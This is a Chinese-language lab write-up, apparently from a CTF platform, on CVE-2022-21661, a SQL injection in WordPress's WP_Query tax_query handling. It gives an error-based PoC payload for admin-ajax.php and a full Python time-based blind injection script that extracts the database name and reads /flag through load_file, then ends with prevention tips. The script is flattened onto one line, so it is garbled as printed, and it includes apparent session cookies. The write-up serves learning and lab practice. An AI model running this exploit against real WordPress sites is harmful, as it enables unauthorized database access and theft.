簡介
CVE-2022-21661是一個與WordPress相關的漏洞,涉及到SQL注入問題。該漏洞主要源于WordPress的WQ_Tax_Query類中的clean_query函數,可能允許攻擊者通過控制傳遞給該函數的數據來控制生成的SQL查詢,從而執行任意的SQL代碼。
當WordPress的執行進入WQ_Tax_Query類的get_sql函數時,會調用transform_query函數來處理接收到的數據,并將其組合成SQL查詢中的條件。然而,如果攻擊者能夠控制clean_query的返回數據,他們就可以控制SQL查詢的執行。
具體來說,WQ_Tax_Query類中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函數可以接收并處理傳遞給它們的數據,并將其用于構建SQL查詢。然而,如果在傳遞給這些函數的數據中存在某些特定的控制字符或序列,攻擊者就可以嘗試修改生成的SQL查詢,從而執行他們自己的惡意代碼。
例如,如果攻擊者在傳遞給clean_query函數的數據中插入某些特定的控制字符或序列,他們就可以嘗試修改生成的SQL查詢,從而執行他們自己的惡意代碼。在某些情況下,這可能會導致攻擊者能夠執行任意的SQL代碼,從而對數據庫進行訪問或修改
靶場介紹
2022年1月6日,wordpress發布了5.8.3版本,修復了一處核心代碼WP_Query的sql注入漏洞。WP_Query是wordpress定義的一個類,允許開發者編寫自定義查詢和使用不同的參數展示文章,并可以直接查詢wordpress數據庫,在核心框架和插件以及主題中廣泛使用。源碼位置:www.tar
漏洞利用
1.打開場景,下載源碼
2.根據官方公布,漏洞存在路徑/wp-admin/admin-ajax.php,進行訪問
3.判斷方法,post提交action=函數名,當調用方法正確即調用的WP_Query的構造方法的action無回顯,當調用方法不對或者不存在返回0。
4.開啟調試模式poc
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
5.exp
import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%#payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#payload = """{"id":" ()#"}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)if delay > 4:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"headers = {'Cache-Control': 'no-cache, must-revalidate, max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded',}time_based_blind_sql_injection(url, headers)
6.結果
預防
為了防止CVE-2022-21661漏洞和其他SQL注入攻擊,可以采取以下幾種措施:
- 輸入驗證和過濾:對用戶輸入的數據進行嚴格的驗證和過濾,確保只接受預期的數據類型和格式。這可以通過服務器端和客戶端的驗證實現。
- 參數化查詢和預編譯語句:使用參數化查詢和預編譯語句可以防止攻擊者修改原始查詢。這可以防止SQL注入攻擊,因為參數值不會被解釋為SQL代碼。
- 使用最新的版本和補丁:及時更新軟件和應用程序,并應用最新的安全補丁。這可以修復已知的漏洞,并提高系統的安全性。
- 限制數據庫用戶的權限:將數據庫用戶的權限限制為僅能執行必要的操作,并禁止執行其他可能不安全的操作。
- 加密敏感數據:對敏感數據進行加密,以防止攻擊者訪問和利用這些數據。
- 配置安全設置:根據應用程序的需要,配置安全設置,例如禁用不必要的數據庫功能、限制遠程訪問等。
- 定期備份數據庫:定期備份數據庫,以防止數據被篡改或丟失。
- 安全審計和監控:定期進行安全審計和監控,及時發現并修復潛在的安全問題。